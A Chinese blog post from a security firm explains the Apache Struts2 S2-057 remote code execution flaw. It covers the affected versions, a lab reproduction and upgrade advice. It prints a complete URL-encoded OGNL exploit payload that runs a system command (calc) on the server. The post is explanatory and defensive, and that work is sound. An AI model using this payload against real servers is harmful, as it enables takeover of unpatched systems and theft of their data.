网站apache环境漏洞如何修复

S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。

目前我们SINE安全对该S2-057漏洞的测试,发现受影响的版本是Apache Struts 2.3–ApacheStruts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已经紧急的对该S2-057漏洞进行了修复。

通过国外曝出来的漏洞poc,我们来介绍下Struts2漏洞该如何的利用:

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去。

我们首先来搭建下struts2的环境,找一台windows服务器,使用一键部署工具部署好测试环境,vulhub环境也搭建好如下图:

接下来就是Struts2漏洞的利用与复现过程:

访问网站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action

将${(sine+sine)}里的内容换成exp,EXP内容如下:

%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action

复制exp内容到浏览器执行,发现服务器会直接运行计算器如下图:

S2-057漏洞修复建议:

升级到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升级即可官方已经做好漏洞补丁,完全兼容,如果有条件,可以找一家专业的网站安全公司制定安全防护计划来解决问题,比如SINE安全,绿盟,启明星辰等,都是国内比较有名的网站安全公司。

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

编辑于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Java后端技术栈

关于缓存命中率的几个关键问题!

不命中:无法直接通过缓存获取到想要的数据,需要再次查询数据库或者执行其它的操作。原因可能是由于缓存中根本不存在,或者缓存已经过期。

35410
来自专栏友弟技术工作室

EOS.IO 技术白皮书背景区块链应用的要求共识算法 (DPOS)帐户应用程序的确定性并行执行Token 模型与资源使用治理脚本 & 虚拟机跨链通信总结

草案:2017 年 6 月 26 日 (@dayzh (https://steemit.com/@dayzh))

14320
来自专栏鸿的学习笔记

Stream SQL简单入门(PPT推荐)

今天推荐一个写的很好的PPT,简单明了的叙说了实时的流和数据库表是怎么结合起来的,理论基础是怎样的,回答了Dataflow模型的四个问题,并且扩展了关系代数,将...

41420
来自专栏依乐祝

Ocelot简易教程(六)之重写配置文件存储方式并优化响应数据

本来这篇文章在昨天晚上就能发布的,悲剧的是写了两三千字的文章居然没保存,结果我懵逼了。今天重新来写这篇文章。今天我们就一起来探讨下如何重写Ocelot配置文件的...

11320
来自专栏一个爱瞎折腾的程序猿

在 ASP.NET Core 中使用 MySql 踩坑记录

遇到的是在使用 CodeFirst 生成数据库的字符集编码问题 执行迁移命令:Add-Migration 版本 , Update-Database 生成数据库...

87420
来自专栏Python小屋

Python+django网页设计入门(4):用户登录与登录验证

首先,按照Python+django网页设计入门(3):使用SQLite数据库描述的步骤创建网站。

43230
来自专栏Leetcode名企之路

服务端开发95th 99th 是什么意思?

作者:滔滔不绝 链接:https://www.zhihu.com/question/20575291/answer/22814728 来源:知乎

12710
来自专栏黑泽君的专栏

day62_Mybatis学习笔记_02

(1)创建扩展PO类   一般User.java类要和数据表表字段一致,最好不要在这里面添加其他字段,今天学习mybatis的逆向工程时,会根据表结构,生成po...

10420
来自专栏机器之心

机器之心荣获2018年中国创客50强,完成AI媒体向信息平台的阶段性转型

今年四月,新京报与山水创投联合发起了寻找中国创客第四季。在大赛评选中,近 3400 家创业公司报名参赛,涵盖教育、文娱、前沿科技、小程序、新消费、区块链、企业服...

11720
来自专栏Java架构师学习

拜托,别再问怎么深入学习分布式架构了!负载均衡分布式缓存分布式文件系统分布式RPC分布式数据库分布式消息中间件分布式session问题总结

由于分布式系统所涉及到的领域众多,知识庞杂,很多新人在最初往往找不到头绪,不知道从何处下手来一步步学习分布式架构。

35530

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励